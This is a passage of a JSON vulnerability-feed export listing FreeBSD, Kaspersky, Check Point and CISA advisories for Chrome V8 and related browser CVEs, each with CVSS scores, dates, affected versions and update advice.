buffer overflow in V8.\n\t Reported by Mattias Buelens on 2021-01-24. Google is aware of\n\t reports that an exploit for CVE-2021-21148 exists in the wild.\n\n\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-02-04T00:00:00", "type": "freebsd", "title": "chromium -- heap buffer overflow in V8", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21148"], "modified": "2021-02-04T00:00:00", "id": "3E01AAD2-680E-11EB-83E2-E09467587C17", "href": "https://vuxml.freebsd.org/freebsd/3e01aad2-680e-11eb-83e2-e09467587c17.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-03T16:50:38", "description": "\n\nChrome Releases reports:\n\nThis release contains 1 security fix:\n\n[1309225] High CVE-2022-1096: Type Confusion in V8. Reported by\n\t anonymous on 2022-03-23\n\nGoogle is aware that an exploit for CVE-2022-1096 exists in the wild.\n\n\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-03-25T00:00:00", "type": "freebsd", "title": "chromium -- V8 type confusion", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-1096"], "modified": "2022-03-25T00:00:00", "id": "323F900D-AC6D-11EC-A0B8-3065EC8FD3EC", "href": "https://vuxml.freebsd.org/freebsd/323f900d-ac6d-11ec-a0b8-3065ec8fd3ec.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "kaspersky": [{"lastseen": "2023-12-03T19:16:20", "description": "### *Detect date*:\n02/04/2021\n\n### *Severity*:\nHigh\n\n### *Description*:\nA heap buffer overflow vulnerability was found in Google Chrome. Malicious users can exploit this vulnerability to cause denial of service.\n\n### *Affected products*:\nGoogle Chrome earlier than 88.0.4324.150\n\n### *Solution*:\nUpdate to the latest version \n[Download Google Chrome](<https://www.google.com/chrome/>)\n\n### *Original advisories*:\n[Stable Channel Update for Desktop](<https://chromereleases.googleblog.com/2021/02/stable-channel-update-for-desktop_4.html>) \n\n\n### *Impacts*:\nDoS \n\n### *Related products*:\n[Google Chrome](<https://threats.kaspersky.com/en/product/Google-Chrome/>)\n\n### *CVE-IDS*:\n[CVE-2021-21148](<https://vulners.com/cve/CVE-2021-21148>)6.8High", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-02-04T00:00:00", "type": "kaspersky", "title": "KLA12062 DoS vulnerability in Google Chrome", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21148"], "modified": "2021-05-12T00:00:00", "id": "KLA12062", "href": "https://threats.kaspersky.com/en/vulnerability/KLA12062/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-03T19:16:19", "description": "### *Detect date*:\n02/05/2021\n\n### *Severity*:\nWarning\n\n### *Description*:\nA heap buffer overflow vulnerability was found in Microsoft Browser. Malicious users can exploit this vulnerability to cause denial of service.\n\n### *Affected products*:\nMicrosoft Edge (Chromium-based)\n\n### *Solution*:\nInstall necessary updates from the Settings and more menu, that are listed in your About Microsoft Edge page (Microsoft Edge About page usually can be accessed from the Help and feedback option) \n[Microsoft Edge update settings](<https://support.microsoft.com/en-us/topic/microsoft-edge-update-settings-af8aaca2-1b69-4870-94fe-18822dbb7ef1>)\n\n### *Original advisories*:\n[CVE-2021-21148](<https://portal.msrc.microsoft.com/api/security-guidance/en-US/CVE/CVE-2021-21148>) \n\n\n### *Impacts*:\nDoS \n\n### *Related products*:\n[Microsoft Edge](<https://threats.kaspersky.com/en/product/Microsoft-Edge/>)\n\n### *CVE-IDS*:\n[CVE-2021-21148](<https://vulners.com/cve/CVE-2021-21148>)6.8High\n\n### *Microsoft official advisories*:", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-02-05T00:00:00", "type": "kaspersky", "title": "KLA12063 DoS vulnerability in Microsoft Browser", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21148"], "modified": "2023-03-28T00:00:00", "id": "KLA12063", "href": "https://threats.kaspersky.com/en/vulnerability/KLA12063/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-03T17:23:08", "description": "### *Detect date*:\n02/09/2021\n\n### *Severity*:\nHigh\n\n### *Description*:\nA heap buffer overflow vulnerability was found in Opera. Malicious users can exploit this vulnerability to cause denial of service.\n\n### *Affected products*:\nOpera earlier than 74.0.3911.107\n\n### *Solution*:\nUpdate to the latest version \n[Download Opera](<https://www.opera.com>)\n\n### *Original advisories*:\n[Changelog for Opera 74](<https://blogs.opera.com/desktop/changelog-for-74/#b3911.107>) \n[Stable Channel Update for Desktop](<https://chromereleases.googleblog.com/2021/02/stable-channel-update-for-desktop_4.html>) \n\n\n### *Impacts*:\nDoS \n\n### *Related products*:\n[Opera](<https://threats.kaspersky.com/en/product/Opera/>)\n\n### *CVE-IDS*:\n[CVE-2021-21148](<https://vulners.com/cve/CVE-2021-21148>)6.8High", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-02-09T00:00:00", "type": "kaspersky", "title": "KLA12179 DoS vulnerability in Opera", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21148"], "modified": "2021-05-27T00:00:00", "id": "KLA12179", "href": "https://threats.kaspersky.com/en/vulnerability/KLA12179/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-03T17:04:36", "description": "### *Detect date*:\n03/26/2022\n\n### *Severity*:\nWarning\n\n### *Description*:\nType Confusion vulnerability in Microsoft Browser. Malicious users can exploit this vulnerability to execute arbitrary code, cause denial of service.\n\n### *Exploitation*:\nMalware exists for this vulnerability. Usually such malware is classified as Exploit. [More details](<https://threats.kaspersky.com/en/class/Exploit/>).\n\n### *Affected products*:\nMicrosoft Edge (Chromium-based)\n\n### *Solution*:\nInstall necessary updates from the Settings and more menu, that are listed in your About Microsoft Edge page (Microsoft Edge About page usually can be accessed from the Help and feedback option) \n[Microsoft Edge update settings](<https://support.microsoft.com/en-us/topic/microsoft-edge-update-settings-af8aaca2-1b69-4870-94fe-18822dbb7ef1>)\n\n### *Original advisories*:\n[CVE-2022-1096](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-1096>) \n\n\n### *Impacts*:\nDoS \n\n### *Related products*:\n[Microsoft Edge](<https://threats.kaspersky.com/en/product/Microsoft-Edge/>)\n\n### *CVE-IDS*:\n[CVE-2022-1096](<https://vulners.com/cve/CVE-2022-1096>)5.0Warning\n\n### *Microsoft official advisories*:", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-03-26T00:00:00", "type": "kaspersky", "title": "KLA12492 Type Confusion vulnerability in Microsoft Browser", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-1096"], "modified": "2023-09-29T00:00:00", "id": "KLA12492", "href": "https://threats.kaspersky.com/en/vulnerability/KLA12492/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-03T17:01:28", "description": "### *Detect date*:\n03/29/2022\n\n### *Severity*:\nHigh\n\n### *Description*:\nType confusion vulnerability was found in Opera. Malicious users can exploit this vulnerability to cause denial of service.\n\n### *Exploitation*:\nMalware exists for this vulnerability. Usually such malware is classified as Exploit. [More details](<https://threats.kaspersky.com/en/class/Exploit/>).\n\n### *Affected products*:\nOpera earlier than 85.0.4341.28\n\n### *Solution*:\nUpdate to the latest version \n[Download Opera](<https://www.opera.com>)\n\n### *Original advisories*:\n[Changelog for 85](<https://blogs.opera.com/desktop/changelog-for-85/#b4341.28>) \n[Stable Channel Update for Desktop](<https://chromereleases.googleblog.com/2022/03/stable-channel-update-for-desktop_25.html>) \n\n\n### *Impacts*:\nDoS \n\n### *Related products*:\n[Opera](<https://threats.kaspersky.com/en/product/Opera/>)\n\n### *CVE-IDS*:\n[CVE-2022-1096](<https://vulners.com/cve/CVE-2022-1096>)5.0Warning", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-03-29T00:00:00", "type": "kaspersky", "title": "KLA12538 DoS vulnerability in Opera", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-1096"], "modified": "2023-09-29T00:00:00", "id": "KLA12538", "href": "https://threats.kaspersky.com/en/vulnerability/KLA12538/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-03T17:04:37", "description": "### *Detect date*:\n03/25/2022\n\n### *Severity*:\nHigh\n\n### *Description*:\nType Confusion vulnerability was found in Google Chrome. Malicious users can exploit this vulnerability to execute arbitrary code, cause denial of service.\n\n### *Exploitation*:\nMalware exists for this vulnerability. Usually such malware is classified as Exploit. [More details](<https://threats.kaspersky.com/en/class/Exploit/>).\n\n### *Affected products*:\nGoogle Chrome earlier than 99.0.4844.84\n\n### *Solution*:\nUpdate to the latest version \n[Download Google Chrome](<https://www.google.com/chrome/>)\n\n### *Original advisories*:\n[Stable Channel Update for Desktop](<https://chromereleases.googleblog.com/2022/03/stable-channel-update-for-desktop_25.html>) \n\n\n### *Impacts*:\nDoS \n\n### *Related products*:\n[Google Chrome](<https://threats.kaspersky.com/en/product/Google-Chrome/>)\n\n### *CVE-IDS*:\n[CVE-2022-1096](<https://vulners.com/cve/CVE-2022-1096>)5.0Warning", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-03-25T00:00:00", "type": "kaspersky", "title": "KLA12491 Type Confusion vulnerability in Google Chrome", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-1096"], "modified": "2023-09-29T00:00:00", "id": "KLA12491", "href": "https://threats.kaspersky.com/en/vulnerability/KLA12491/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-03T17:01:49", "description": "### *Detect date*:\n03/26/2022\n\n### *Severity*:\nWarning\n\n### *Description*:\nType confusion vulnerability was found in Microsoft Developer Tools. Malicious users can exploit this vulnerability to cause denial of service.\n\n### *Exploitation*:\nMalware exists for this vulnerability. Usually such malware is classified as Exploit. [More details](<https://threats.kaspersky.com/en/class/Exploit/>).\n\n### *Affected products*:\nMicrosoft Visual Studio\n\n### *Solution*:\nInstall necessary updates from the KB section, that are listed in your Windows Update (Windows Update usually can be accessed from the Control Panel)\n\n### *Original advisories*:\n[CVE-2022-1096](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-1096>) \n\n\n### *Impacts*:\nDoS \n\n### *Related products*:\n[Microsoft Visual Studio](<https://threats.kaspersky.com/en/product/Microsoft-Visual-Studio/>)\n\n### *CVE-IDS*:\n[CVE-2022-1096](<https://vulners.com/cve/CVE-2022-1096>)5.0Warning\n\n### *Microsoft official advisories*:", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-03-26T00:00:00", "type": "kaspersky", "title": "KLA12529 Type confusion vulnerability in Microsoft Developer Tools", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-1096"], "modified": "2023-09-29T00:00:00", "id": "KLA12529", "href": "https://threats.kaspersky.com/en/vulnerability/KLA12529/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "checkpoint_advisories": [{"lastseen": "2022-02-16T19:29:28", "description": "A remote code execution vulnerability exists in Google Chrome Browser V8. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2022-01-17T00:00:00", "type": "checkpoint_advisories", "title": "Google Chrome Browser V8 Remote Code Execution (CVE-2021-30563)", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30563"], "modified": "2022-01-17T00:00:00", "id": "CPAI-2021-1027", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-02-16T19:32:09", "description": "A heap corruption vulnerability exists in Google Chrome. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-26T00:00:00", "type": "checkpoint_advisories", "title": "Google Chrome Heap Corruption (CVE-2021-30551)", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30551"], "modified": "2021-07-26T00:00:00", "id": "CPAI-2021-0484", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-12-17T11:48:19", "description": "A type confusion vulnerability has been reported in Adobe Flash Player. The vulnerability is due to an error in Adobe Flash Player while handling a specially crafted SWF file. A remote attacker can exploit this vulnerability by enticing a target user to open a specially crafted SWF file with an affected version of Flash Player.", "cvss3": {}, "published": "2015-01-29T00:00:00", "type": "checkpoint_advisories", "title": "Adobe Flash Player Type Confusion (APSB15-05: CVE-2015-0336)", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-0336"], "modified": "2015-08-10T00:00:00", "id": "CPAI-2015-0395", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-11-21T14:47:50", "description": "A heap corruption vulnerability exists in Google Chrome. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-01-31T00:00:00", "type": "checkpoint_advisories", "title": "Google Chrome Heap Corruption (CVE-2021-37975)", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-37975"], "modified": "2022-11-21T00:00:00", "id": "CPAI-2021-1055", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-02-16T19:29:27", "description": "A remote code execution vulnerability exists in Google Chrome. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2022-01-16T00:00:00", "type": "checkpoint_advisories", "title": "Google Chrome Remote Code Execution (CVE-2021-21224)", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21224"], "modified": "2022-01-16T00:00:00", "id": "CPAI-2021-0952", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-02-16T19:29:40", "description": "A use-after-free vulnerability exists in Google Chromium V8 Engine. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-01-17T00:00:00", "type": "checkpoint_advisories", "title": "Google Chromium V8 Engine Use-After-Free (CVE-2021-4102)", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-4102"], "modified": "2022-01-17T00:00:00", "id": "CPAI-2021-1028", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "cisa": [{"lastseen": "2021-11-26T18:12:11", "description": "Google has released Chrome version 91.0.4472.164 for Windows, Mac, and Linux. This version addresses vulnerabilities that an attacker could exploit to take control of an affected system. One of these vulnerabilities\u2014CVE-2021-30563\u2014has been detected in exploits in the wild.\n\nCISA encourages users and administrators to review the [Chrome Release Note](<https://chromereleases.googleblog.com/2021/07/stable-channel-update-for-desktop.html>) and apply the necessary updates.\n\nThis product is provided subject to this Notification and this [Privacy & Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product survey](<https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ncas/current-activity/2021/07/16/google-releases-security-updates-chrome>); we'd welcome your feedback.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": 